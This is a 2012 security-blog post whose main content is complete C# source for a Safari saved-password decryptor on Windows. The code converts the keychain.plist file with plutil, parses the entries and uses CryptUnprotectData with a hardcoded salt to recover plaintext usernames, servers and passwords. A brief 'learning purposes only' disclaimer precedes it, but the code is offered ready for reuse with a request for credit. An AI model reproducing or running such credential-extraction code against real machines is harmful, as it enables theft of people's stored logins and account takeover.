Zerosecurity
  • Home
  • Security
    • Exploits
    • Mobile Security
  • Malware
  • Data Breaches
  • Crypto
  • Privacy
  • Downloads
    • Malwarebytes
    • Exploits
    • Paper Downloads
    • Software & Service Reviews
No Result
View All Result
SUBSCRIBE
Zerosecurity
  • Home
  • Security
    • Exploits
    • Mobile Security
  • Malware
  • Data Breaches
  • Crypto
  • Privacy
  • Downloads
    • Malwarebytes
    • Exploits
    • Paper Downloads
    • Software & Service Reviews
No Result
View All Result
Zerosecurity
No Result
View All Result
Home Programming DotNet Framework

Decrypting Safari saved passwords

Paul Anderson by Paul Anderson
February 23, 2012
in DotNet Framework, Public, Security
0
74
SHARES
1.2k
VIEWS
Share on FacebookShare on Twitter

Notice, this is for learning purposes only, this is only to show that saving your passwords within browsers IS NOT safe, as your passwords can be stolen with in seconds. What is this code used for? It’s made to decrypt all encrypted passwords you have saved within the Safari browser.

You might also like

Downthem DDoS service owner gets a 2-year prison sentence

Cloudflare Stops Record-Breaking DDoS

Chrome Browser Extension Vytal Prevents Privacy Leaks

This was coded by UbbeLoL

Language: C#
 

Code:
/* ---------------------------------------------------------------
* Safari decryptor created by UbbeLoL (Working for version 5.x->?.?)
* Created at: 2012-02-21
*
* Thanks: SecurityXploded, Pinvoke.net, MSDN
* Give proper credits if used!
* ---------------------------------------------------------------
*/

public class SafariDecryptor
{
#region private APIs & structs

[DllImport("kernel32.dll")]
static extern IntPtr LocalFree(IntPtr hMem);

[StructLayout(LayoutKind.Sequential)]
private unsafe struct DATA_BLOB
{
public int cbData;
public byte* pbData;
}

[DllImport("Crypt32.dll")]
private unsafe static extern bool CryptUnprotectData(
DATA_BLOB* pDataIn,
String szDataDescr,
DATA_BLOB* pOptionalEntropy,
IntPtr pvReserved,
IntPtr pPromptStruct,
uint dwFlags,
DATA_BLOB* pDataOut
);

#endregion

private static byte[] salt = {
0x1D, 0xAC, 0xA8, 0xF8, 0xD3, 0xB8, 0x48, 0x3E, 0x48, 0x7D, 0x3E, 0x0A, 0x62, 0x07, 0xDD, 0x26,
0xE6, 0x67, 0x81, 0x03, 0xE7, 0xB2, 0x13, 0xA5, 0xB0, 0x79, 0xEE, 0x4F, 0x0F, 0x41, 0x15, 0xED,
0x7B, 0x14, 0x8C, 0xE5, 0x4B, 0x46, 0x0D, 0xC1, 0x8E, 0xFE, 0xD6, 0xE7, 0x27, 0x75, 0x06, 0x8B,
0x49, 0x00, 0xDC, 0x0F, 0x30, 0xA0, 0x9E, 0xFD, 0x09, 0x85, 0xF1, 0xC8, 0xAA, 0x75, 0xC1, 0x08,
0x05, 0x79, 0x01, 0xE2, 0x97, 0xD8, 0xAF, 0x80, 0x38, 0x60, 0x0B, 0x71, 0x0E, 0x68, 0x53, 0x77,
0x2F, 0x0F, 0x61, 0xF6, 0x1D, 0x8E, 0x8F, 0x5C, 0xB2, 0x3D, 0x21, 0x74, 0x40, 0x4B, 0xB5, 0x06,
0x6E, 0xAB, 0x7A, 0xBD, 0x8B, 0xA9, 0x7E, 0x32, 0x8F, 0x6E, 0x06, 0x24, 0xD9, 0x29, 0xA4, 0xA5,
0xBE, 0x26, 0x23, 0xFD, 0xEE, 0xF1, 0x4C, 0x0F, 0x74, 0x5E, 0x58, 0xFB, 0x91, 0x74, 0xEF, 0x91,
0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x53, 0x61, 0x66, 0x61, 0x72, 0x69
};

public struct UserEntry
{
public string Username;
public string encPassword;
public string decPassword;
public string Description;
public string Label;
public string Path;
public string Comment;
public string Server;
public int Protocol;
public int AuthenticationType;
public int Port;
public int UserIndex;
}

public static UserEntry[] FetchUserEntries()
{
string plutilPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\Common Files\\Apple\\Apple Application Support\\plutil.exe";
string rawKeychainPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Apple Computer\\Preferences\\keychain.plist";
string fixedPath = null;

if (!ConvertKeychain(plutilPath, rawKeychainPath, out fixedPath))
return null;

return ParseEntries(fixedPath.Remove(fixedPath.Length -2)).ToArray();
}

private static List<UserEntry> ParseEntries(string keychain)
{
string full = File.ReadAllText(keychain);
List<UserEntry> outEntries = new List<UserEntry>();
string[] blocks;

for(int i = 1; i < (blocks = Regex.Split(Regex.Split(full, "<array>")[1], "<dict>")).Length; i++)
{
UserEntry tmpEntry = new UserEntry();

tmpEntry.Username = GetBetween(blocks[i], "<string>", "</string>", 0);
tmpEntry.AuthenticationType = Int32.Parse(GetBetween(blocks[i], "<integer>", "</integer>", 0));
tmpEntry.Comment = GetBetween(blocks[i], "<string>", "</string>", 1);
tmpEntry.encPassword = GetBetween(blocks[i], "<data>", "</data>", 0);
tmpEntry.Description = GetBetween(blocks[i], "<string>", "</string>", 2);
tmpEntry.Label = GetBetween(blocks[i], "<string>", "</string>", 3);
tmpEntry.Path = GetBetween(blocks[i], "<string>", "</string>", 4);
tmpEntry.Port = Int32.Parse(GetBetween(blocks[i], "<integer>", "</integer>", 1));
tmpEntry.Protocol = Int32.Parse(GetBetween(blocks[i], "<integer>", "</integer>", 2));
tmpEntry.Server = GetBetween(blocks[i], "<string>", "</string>", 5);
tmpEntry.UserIndex = i - 1;

tmpEntry.decPassword = DecryptPassword(Convert.FromBase64String(tmpEntry.encPassword));

outEntries.Add(tmpEntry);
}

return outEntries;
}

private unsafe static string DecryptPassword(byte[] pwBuffer)
{
DATA_BLOB dIn, dOut, optEntropy;
int pwLen = 0;
char[] outStr;

dIn.cbData = pwBuffer.Length;
fixed (byte* p_pwBuffer = pwBuffer)
dIn.pbData = p_pwBuffer;

optEntropy.cbData = salt.Length;
fixed (byte* p_salt = salt)
optEntropy.pbData = p_salt;

if (!CryptUnprotectData(&dIn, null, &optEntropy, IntPtr.Zero, IntPtr.Zero, 0, &dOut))
return null;

byte* p_bData = (byte*)dOut.pbData;
pwLen = *(int*)p_bData;

outStr = new char[pwLen];

for (int i = 4; i < pwLen+4; i++)
outStr[i-4] = (char)p_bData[i];

LocalFree(new IntPtr(dOut.pbData));

return new string(outStr);
}

private static bool ConvertKeychain(string plutil, string keychain, out string fixedPath)
{
fixedPath = null;

if (!File.Exists(plutil))
return false;

Process p = new Process();
p.StartInfo.FileName = plutil;
p.StartInfo.Arguments = @" -convert xml1 -s -o """ + (fixedPath = Application.StartupPath + @"\fixed_keychain.xml"" ") + @"""" + keychain + @"""";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
p.WaitForExit();

return p.StandardOutput.ReadToEnd().Length == 0;
}

private static string GetBetween(string input, string str1, string str2, int index)
{
string temp = Regex.Split(input, str1)[index + 1];
return Regex.Split(temp, str2)[0];
}
}
Tags: C#decryptpasswordsafari
Share30Tweet19
Paul Anderson

Paul Anderson

Editor and chief at ZeroSecurity. Expertise includes programming, malware analysis, and penetration testing. If you would like to write for ZeroSecurity, please click "Contact us" at the top of the page.

Recommended For You

Downthem DDoS service owner gets a 2-year prison sentence

by Christi Rogalski
June 30, 2022
0
Downthem DDoS Service owner sentenced

Matthew Gatrel, a resident of St. Charles, Illinois, has been sentenced to two years in prison for violating the Computer Fraud and Abuse Act (CFAA). The 33-year-old was...

Read more

Cloudflare Stops Record-Breaking DDoS

by Christi Rogalski
June 29, 2022
0
Cloudflare record breaking DDoS

Cloudflare has reported that it successfully neutralized the largest recorded DDoS attack in history. The attack, a 26 million request per second onslaught, targeted a customer on the...

Read more

Chrome Browser Extension Vytal Prevents Privacy Leaks

by Christi Rogalski
June 19, 2022 - Updated on June 20, 2022
0
Vytal Chrome Extension spoofs location data

Released in 2008, Google Chrome is a cross-platform web browser. With over 3.2 billion internet users worldwide, there's no denying that Chrome is the most popular browser today....

Read more

State-sponsored Iranian Hackers utilize .NET DNS Backdoor in new Attack

by Kyle
June 12, 2022
0
Lycaeum APT DNS hijacking backdoor

An Advanced Persistent Threat (APT) hacking group based out of Iran going by the name Lycaeum has been seen using a .NET-based DNS backdoor to target organizations within...

Read more

WatchDog’s new multi-stage cryptojacking attack unsurfaced

by Christi Rogalski
June 11, 2022
0
WatchDog Targets Docker Containers

Cado Security’s honeypot has recently captured a rather interesting cryptojacker from what they believe to be the WatchDog hacking group. They note that although the attack’s life cycle...

Read more
Next Post
New Mac Trojan “Flashback”

New Mac Trojan "Flashback"

Related News

Google Chrome Extension fingerprinting source

Google Chrome exposes user extensions to fingerprinting

July 1, 2022
Downthem DDoS Service owner sentenced

Downthem DDoS service owner gets a 2-year prison sentence

June 30, 2022
Cloudflare record breaking DDoS

Cloudflare Stops Record-Breaking DDoS

June 29, 2022
Zerosecurity

We cover the latest in Information Security & Blockchain news, as well as threat trends targeting both sectors.

Categories

  • Crypto
  • Data Breaches
  • DotNet Framework
  • Downloads
  • Exploits
  • Exploits
  • Information
  • Legal
  • Malware
  • Malware Analysis
  • Mobile Security
  • Paper Downloads
  • Piracy
  • Privacy
  • Programming
  • Public
  • Security
  • Security
  • Software & Service Reviews
  • Technology News
  • Tools
  • Tutorials
  • Video Tutorials
  • Whitepapers
  • Zero Security
  • Contact Us
  • List of our Writers

© 2022 ZeroSecurity, All Rights Reserved.

No Result
View All Result
  • Home
  • Security
    • Tools
  • Data Breaches
  • Malware
  • Privacy
  • Contact Us

© 2022 ZeroSecurity, All Rights Reserved.